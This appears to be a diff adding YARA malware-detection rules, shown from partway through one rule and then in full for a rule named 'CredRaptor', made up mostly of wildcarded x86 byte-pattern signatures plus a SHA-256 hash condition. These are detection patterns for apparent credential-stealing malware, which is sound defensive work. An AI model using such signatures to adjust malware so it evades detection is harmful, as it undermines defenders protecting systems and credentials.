+		$block_3 = { 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? F8 06 00 ?? 3F 07 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? F8 06 00 ?? 3F 07 00 ?? 3F 07 00 ?? 3F 07 00 ?? 81 0? ?? ?? ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 81 0? ?? ?? ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? B7 ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? ?? ?? ?? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 5? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? ?? ?? ?? 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? 61 0B ?? 00 ?? ?? 00 ?? B7 ?? 00 ?? 73 }
+		$block_4 = { F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 8A ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_5 = { E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? 89 ?? 0B ?? ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 01 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? ?? ?? 8B ?? ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? 11 ?? 89 ?? ?? ?? 89 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? 33 ?? ?? ?? 01 ?? 11 ?? 89 ?? ?? 89 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? 31 ?? 01 ?? ?? ?? 89 ?? ?? ?? 89 ?? 11 ?? 33 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? 33 ?? ?? ?? 31 ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? 33 ?? ?? ?? 01 ?? 89 ?? ?? ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 89 ?? ?? 33 ?? ?? 01 ?? 89 ?? 11 ?? ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? 31 ?? 01 ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 8B ?? ?? ?? 31 ?? 33 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? 01 ?? 11 ?? ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 01 ?? ?? 89 ?? 89 ?? 11 ?? 0F A4 ?? ?? 0F A4 ?? ?? 31 ?? 33 ?? ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 8B ?? ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? 01 ?? 11 ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? ?? ?? 33 ?? ?? 31 ?? 8B ?? ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 11 ?? 0F A4 ?? ?? 89 ?? ?? ?? 0F A4 ?? ?? 31 ?? 8B ?? ?? ?? 31 ?? 89 ?? 01 ?? 11 ?? ?? 0F A4 ?? ?? 0F A4 ?? ?? 89 ?? 8B ?? ?? ?? 31 ?? 33 ?? ?? 01 ?? ?? ?? 89 ?? 11 ?? 03 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 11 ?? 8B ?? ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 5? 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 85 ?? BF ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 0F 45 ?? 0F 44 ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 0B ?? ?? ?? 0B ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 75 }
+		$block_7 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 89 ?? 5? 5? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 4? 31 ?? 89 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? 8C ?? 00 ?? B6 ?? 00 ?? 9E 1F 00 ?? A3 ?? ?? ?? ?? 1F 00 ?? 9A ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? 5? 21 ?? 00 ?? ?? 00 ?? EE 21 ?? 00 ?? ?? ?? ?? ?? 21 ?? 00 ?? 21 ?? 00 ?? 22 ?? 00 ?? ?? 00 }
+		$block_8 = { 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 0F 10 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 0F B7 ?? 31 ?? 0F 11 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 0F 45 ?? 0F 94 ?? 8D ?? ?? ?? ?? ?? ?? 09 ?? 89 ?? 8B ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? F3 ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? F2 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? ?? 5? FF 5? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 6A ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 89 ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 66 ?? A6 03 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? ?? ?? ?? ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? 02 ?? 00 ?? ?? ?? ?? ?? 03 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 01 ?? 00 ?? ?? 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 7E }
+
+	condition:
+		hash.sha256(0, filesize) == "1672b944cf80cc2b3f837a78988a335072e197104acb5bb8148834c37ce72c85" or
+		10 of them
+}
+
+rule CredRaptor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 99 03 ?? 89 ?? ?? ?? ?? ?? 13 ?? 85 ?? 74 }
+		$block_1 = { 33 ?? C6 ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 82 }
+		$block_2 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 7F }
+		$block_3 = { 8D ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 5? 6A ?? 03 ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 5? 8B ?? ?? 0F B7 ?? ?? 8B ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 4? 5? 5? 83 ?? ?? 0F 87 }
+		$block_5 = { 5? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? 0F 8E }
+		$block_9 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 99 0F 57 ?? 66 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 89 }
+		$block_10 = { 85 ?? 0F 95 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C2 }
+		$block_11 = { 8B ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 0F BF ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 39 ?? ?? 7F }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8B ?? F7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? DD ?? ?? ?? ?? ?? 8B ?? ?? DD ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 0F 84 }
+		$block_17 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 6A ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 85 ?? 0F 45 ?? 80 3? ?? 75 }
+		$block_20 = { 85 ?? 0F B6 ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 0F 44 ?? FF 1? ?? ?? ?? ?? FF 7? ?? FF 1? }
+		$block_21 = { 8D ?? ?? BA ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 74 }
+		$block_24 = { 5? 8B ?? 8B ?? ?? 5? 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 4? 83 ?? ?? 0F 87 }
+		$block_25 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 8B ?? 33 ?? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 38 ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_28 = { 8B ?? ?? 8B ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 8D ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 84 ?? 79 }
+		$block_29 = { 5? 8B ?? 8B ?? ?? 5? 5? 0F B7 ?? ?? 03 ?? ?? 8B ?? 0F B7 ?? ?? 8B ?? ?? 03 ?? 3B ?? 77 }
+		$block_30 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? 5? 0F BF ?? ?? 89 ?? ?? 5? 8B ?? ?? 4? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 94 ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_34 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_35 = { 33 ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? 5? 6A ?? FF B? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_37 = { 03 ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 0F BF ?? ?? 8B ?? ?? 03 ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 89 ?? ?? 0F 84 }
+		$block_40 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 0F BF ?? ?? 33 ?? 89 ?? ?? 85 ?? 7E }
